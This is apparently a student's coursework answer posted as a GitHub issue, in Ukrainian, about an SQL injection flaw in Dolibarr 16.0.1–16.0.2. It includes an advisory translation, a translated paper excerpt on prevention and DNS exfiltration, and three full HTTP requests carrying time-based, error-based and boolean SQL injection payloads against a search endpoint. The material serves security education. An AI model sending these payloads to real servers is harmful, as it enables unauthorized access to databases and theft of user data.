oleksandrblazhko / ai181-zalukovskij

2 stars 0 forks source link

CW7 #25

Closed YuriZalukovskiy closed 1 year ago

YuriZalukovskiy commented 1 year ago

Запитання №1

Запитання

Опишіть ПЗ, в якому знайдено вразливість:

Відповідь

Запитання №2

Запитання

Опишіть знайдену вразливість, переклавшу на українську розділ Description.

Відповідь

Атаки SQL-ін’єкції можуть призвести до несанкціонованого доступу до конфіденційних даних, таких як паролі, дані кредитної картки або особиста інформація користувача. Багато резонансних витоків даних за останні роки були результатом атак SQL-ін’єкцій, що призвело до шкоди репутації та регуляторних штрафів. У деяких випадках зловмисник може отримати постійний бекдор до систем організації, що призведе до довгострокового злому, який може залишатися непоміченим протягом тривалого періоду. Це вражає лише 16.0.1 та 16.0.2. 16.0.0 або нижче та 16.0.3 або вище не уражені.

Запитання №3

Запитання

Наведіть фрагменти прикладів уразливого програмного коду, розглянувши розділ References to Advisories, Solutions, and Tools.

Відповідь

Часова сліпа SQL ін'єкція

GET /search.php?s=%27)%20AND%20(SELECT%209569%20FROM%20(SELECT(SLEEP(10)))jsCH)--%20gYso HTTP/2
Host: www.dolibarr.org
Cookie: _ga_KYYDR4YR7J=GS1.1.1668795290.1.0.1668795290.0.0.0; _ga=GA1.1.1344367550.1668795290
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers

SQL ін'єкція на основі аналізу помилок

GET /search.php?s=')+AND+EXTRACTVALUE(5960,CONCAT(0x5c,0x7171626271,(SELECT+(ELT(5960%3d5960,1))),0x7171766b71))--+Vmlg HTTP/2
Host: www.dolibarr.org
Cookie: _ga_KYYDR4YR7J=GS1.1.1668795290.1.0.1668795290.0.0.0; _ga=GA1.1.1344367550.1668795290
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers

Логічна сліпа SQL ін'єкція

GET /search.php?s=3893')+OR+9606%3d9606--+aLaa HTTP/2
Host: www.dolibarr.org
Cookie: _ga_KYYDR4YR7J=GS1.1.1668795290.1.0.1668795290.0.0.0; _ga=GA1.1.1344367550.1668795290
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers

Запитання №4 (3 бали)

Запитання

В таблиці 2 наведено URL-посилання на наукові публікації, пов’язані з SQL-injection. Розглянувши приклад публікації, номер якої співпадає з номером вашого варіанту виконання лабораторних робіт, перекладіть української вказані назви розділи.

Відповідь

8 Поради щодо профілактики

Щоб уникнути атак, описаних у цьому документі, запобігання недолікам SQLi має мати найвищий пріоритет. Найбезпечнішим запобіжним заходом вважається використання готових заяв [18]. Підготовлені оператори гарантують, що зловмисники не зможуть змінити мету запиту, навіть якщо вставляються інші команди SQL [19]. Різноманітні механізми очищення, такі як magic_quotes() і addslashes(), не можуть повністю запобігти наявності або використанню вразливості SQLi, оскільки певні методи, які використовуються в поєднанні з умовами середовища, можуть дозволити зловмисникам використовувати вразливість [20][21]. Натомість, якщо підготовлені оператори не використовуються, рекомендується використовувати перевірку введення з відхиленням неправильного введення, а не екрануванням або зміною [22]. Адміністратор повинен завжди бути готовим до несанкціонованого доступу до основної бази даних. Хорошим контрзаходом є обмеження доступу до бази даних до найменших привілеїв. Таким чином, будь-який наданий привілей повинен бути наданий найменшій кількості коду, необхідного для найкоротшого періоду часу, необхідного для виконання роботи [23]. Дотримуючись цього принципу, користувачі повинні мати доступ лише до тієї інформації та ресурсів, які є абсолютно необхідними. В якості останнього кроку, для успішного пом’якшення можливих атак екстракції DNS, адміністратор повинен переконатися, що виконання всіх непотрібних системних підпрограм обмежено. Якщо все не вдається, зловмисники не повинні мати змоги запустити ті, які можуть спровокувати запити DNS. Була проведена певна робота в області виявлення шкідливих дій у DNS-трафіку [25][26], але здебільшого через відсутність практичних і основних рішень, вони не будуть спеціально згадуватися тут.

9 Висновок

У цьому документі було показано, як зловмисники можуть використовувати техніку ексфільтрації DNS, щоб значно прискорити пошук даних, коли можна використовувати лише відносно повільні методи SQLi. Крім того, різко зменшено кількість необхідних запитів до вразливого веб-сервера, що робить його менш шумним. Через вимогу контролю над сервером доменних імен він, ймовірно, не буде використовуватися більшістю зловмисників. З точки зору впровадження все було просто, тому не можна ігнорувати його практичну цінність. Реалізована підтримка всередині sqlmap повинна зробити його загальнодоступним для всіх для подальших досліджень.

oleksandrblazhko commented 1 year ago

Оцінка = 7 балів. Дякую за активність!